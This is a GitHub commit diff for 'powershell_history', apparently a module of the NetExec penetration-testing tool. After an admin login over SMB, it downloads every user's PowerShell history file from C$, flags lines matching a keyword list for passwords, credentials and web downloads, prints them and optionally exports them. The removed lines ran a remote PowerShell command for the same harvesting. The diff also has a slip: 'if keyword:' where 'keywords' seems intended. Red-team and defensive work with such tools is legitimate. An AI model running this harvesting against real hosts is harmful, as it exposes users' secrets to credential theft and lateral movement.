Skip to content

Commit

Permalink
Merge branch 'main' into Add---shadowrdp-module
Browse files Browse the repository at this point in the history
  • Loading branch information
mpgn authored Dec 17, 2024
2 parents 25fd5c1 + 65e2b3f commit 87e383f
Showing 1 changed file with 47 additions and 56 deletions.
103 changes: 47 additions & 56 deletions nxc/modules/powershell_history.py
Original file line number Diff line number Diff line change
@@ -1,73 +1,64 @@
import traceback
from os import makedirs
from os.path import join, abspath
from nxc.paths import NXC_PATH
from io import BytesIO


class NXCModule:
"""Module by @357384n"""
# Module by @357384n
# Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command

name = "powershell_history"
description = "Extracts PowerShell history for all users and looks for sensitive commands."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
sensitive_keywords = [
"password", "passw", "secret", "credential", "key",
"get-credential", "convertto-securestring", "set-localuser",
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
"invoke-webrequest", "invoke-restmethod"
]

def options(self, context, module_options):
"""To export all the history you can add the following option: -o export=True"""
context.log.info(f"Received module options: {module_options}")
def options(self, _, module_options):
self.export = bool(module_options.get("EXPORT", False))
context.log.info(f"Option export set to: {self.export}")

def analyze_history(self, history):
"""Analyze PowerShell history for sensitive information."""
sensitive_keywords = [
"password", "passwd", "passw", "secret", "credential", "key",
"get-credential", "convertto-securestring", "set-localuser",
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
"invoke-webrequest", "invoke-restmethod"
]
sensitive_commands = []
for command in history:
command_lower = command.lower()
if any(keyword.lower() in command_lower for keyword in sensitive_keywords):
sensitive_commands.append(command.strip())
return sensitive_commands

def on_admin_login(self, context, connection):
"""Main function to retrieve and analyze PowerShell history."""
try:
context.log.info("Retrieving PowerShell history...")
command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"'
history = connection.execute(command, True).split("\n")
if history:
sensitive_commands = self.analyze_history(history)
if sensitive_commands:
context.log.highlight("Sensitive commands found in PowerShell history:")
for command in sensitive_commands:
context.log.highlight(f" {command}")
else:
context.log.info("No sensitive commands found in PowerShell history.")
else:
context.log.info("No PowerShell history found.")

# Check if export is enabled
context.log.info(f"Export option is set to: {self.export}")
if self.export and history:
host = connection.host # Assuming 'host' contains the target IP or hostname
filename = f"{host}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)

context.log.info(f"Export enabled, writing history to {path}")
for directory in connection.conn.listPath("C$", "Users\\*"):
if directory.get_longname() not in self.false_positive and directory.is_directory():
try:
with open(path, "w") as file:
for cmd in history:
file.write(cmd + "\n")
context.log.highlight(f"PowerShell history written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write history to {filename}: {e}")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\"
for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"):
if file.get_longname() not in self.false_positive:
file_path = f"{powershell_history_dir}{file.get_longname()}"

buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
file_content = buf.read().decode("utf-8", errors="ignore").lower()
keywords = []
for keyword in self.sensitive_keywords:
if keyword in file_content:
keywords.append(keyword.upper())

if keyword:
context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]")
else:
context.log.highlight(f"C:\\{file_path}")

for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
if self.export:
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
file.write(file_content)
context.log.highlight(f"PowerShell history written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write history to {filename}: {e}")
except Exception:
pass

0 comments on commit 87e383f

Please sign in to comment.